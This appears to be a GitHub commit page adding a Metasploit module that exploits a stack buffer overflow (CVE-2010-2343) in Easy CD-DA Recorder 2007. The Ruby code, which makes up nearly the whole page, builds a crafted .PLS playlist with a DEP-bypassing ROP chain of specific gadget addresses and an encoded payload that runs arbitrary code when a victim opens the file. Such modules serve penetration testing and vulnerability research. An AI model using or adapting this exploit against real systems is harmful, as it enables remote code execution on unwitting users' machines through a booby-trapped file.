Skip to content

Commit a59ce95

Browse files
committed
Land rapid7#2970, @sgabe exploit for CVE-2010-2343
2 parents 18816f3 + 9845970 commit a59ce95

File tree

1 file changed

+121
-0
lines changed

1 file changed

+121
-0
lines changed
Lines changed: 121 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,121 @@
1+
##
2+
# This module requires Metasploit: http//metasploit.com/download
3+
# Current source: https://github.com/rapid7/metasploit-framework
4+
##
5+
6+
require 'msf/core'
7+
8+
class Metasploit3 < Msf::Exploit::Remote
9+
Rank = NormalRanking
10+
11+
include Msf::Exploit::FILEFORMAT
12+
13+
def initialize(info = {})
14+
super(update_info(info,
15+
'Name' => 'Easy CD-DA Recorder PLS Buffer Overflow',
16+
'Description' => %q{
17+
This module exploits a stack-based buffer overflow vulnerability in
18+
Easy CD-DA Recorder 2007, caused by a long string in a playlist entry.
19+
By persuading the victim to open a specially-crafted .PLS file, a
20+
remote attacker could execute arbitrary code on the system or cause
21+
the application to crash. This module has been tested successfully on
22+
Windows XP SP3 and Windows 7 SP1.
23+
},
24+
'License' => MSF_LICENSE,
25+
'Author' =>
26+
[
27+
'chap0', # Vulnerability discovery and original exploit
28+
'Gabor Seljan', # Metasploit module
29+
'juan vazquez' # Improved reliability
30+
],
31+
'References' =>
32+
[
33+
[ 'BID', '40631' ],
34+
[ 'EDB', '13761' ],
35+
[ 'OSVDB', '65256' ],
36+
[ 'CVE', '2010-2343' ],
37+
[ 'URL', 'http://www.corelan.be:8800/advisories.php?id=CORELAN-10-048' ]
38+
],
39+
'DefaultOptions' =>
40+
{
41+
'ExitFunction' => 'process'
42+
},
43+
'Platform' => 'win',
44+
'Payload' =>
45+
{
46+
'DisableNops' => true,
47+
'BadChars' => "\x0a\x3d",
48+
'Space' => 2454,
49+
'PrependEncoder' => "\x81\xc4\x54\xf2\xff\xff" # ADD ESP,-3500
50+
},
51+
'Targets' =>
52+
[
53+
[ 'Windows XP SP3 / Windows 7 SP1 (DEP Bypass)',
54+
# easycdda.exe 3.0.114.0
55+
# audconv.dll 7.0.815.0
56+
{
57+
'Offset' => 1108,
58+
'Ret' => 0x1001b19b # ADD ESP,0C10 # RETN 0x04 [audconv.dll]
59+
}
60+
]
61+
],
62+
'Privileged' => false,
63+
'DisclosureDate' => 'Jun 7 2010',
64+
'DefaultTarget' => 0))
65+
66+
register_options(
67+
[
68+
OptString.new('FILENAME', [ false, 'The file name.', 'msf.pls'])
69+
],
70+
self.class)
71+
72+
end
73+
74+
def nops
75+
return make_nops(4).unpack("V").first
76+
end
77+
78+
def rop_nops(n = 1)
79+
# RETN (ROP NOP) [audconv.dll]
80+
[0x1003d55d].pack('V') * n
81+
end
82+
83+
def exploit
84+
85+
# ROP chain generated by mona.py - See corelan.be
86+
rop_gadgets =
87+
[
88+
0x1007261e, # POP EDX # RETN [audconv.dll]
89+
0x0042a0e0, # &VirtualProtect() [IAT easycdda.exe]
90+
0x1003bd6b, # MOV EAX,DWORD PTR DS:[EDX] # RETN [audconv.dll]
91+
0x10035802, # XCHG EAX,ESI # RETN [audconv.dll]
92+
0x1005d288, # POP EBP # RETN [audconv.dll]
93+
0x004030c8, # &PUSH ESP # RET 0x08 [easycdda.exe]
94+
0x1005cc2d, # POP EBX # RETN [audconv.dll]
95+
0x00000996, # 0x00000996-> EBX
96+
0x1008740c, # POP EDX # RETN [audconv.dll]
97+
0x00000040, # 0x00000040-> EDX
98+
0x1001826d, # POP ECX # RETN [audconv.dll]
99+
0x004364c6, # &Writable location [easycdda.exe]
100+
0x00404aa9, # POP EDI # RETN [easycdda.exe]
101+
0x100378e6, # RETN (ROP NOP) [audconv.dll]
102+
0x0042527d, # POP EAX # RETN [easycdda.exe]
103+
nops,
104+
0x00429692 # PUSHAD # INC EBX # ADD CL,CH # RETN [easycdda.exe]
105+
].flatten.pack('V*')
106+
107+
sploit = rop_nops(target['Offset'] / 4)
108+
sploit << [0x1003d55c].pack("V") # pop edi # ret [audconv.dll]
109+
sploit << [target.ret].pack("V")
110+
sploit << rop_nops(22)
111+
sploit << rop_gadgets
112+
sploit << payload.encoded
113+
sploit << rand_text_alpha_upper(10000) # Generate exception
114+
115+
# Create the file
116+
print_status("Creating '#{datastore['FILENAME']}' file ...")
117+
file_create(sploit)
118+
119+
end
120+
end
121+

0 commit comments

Comments
 (0)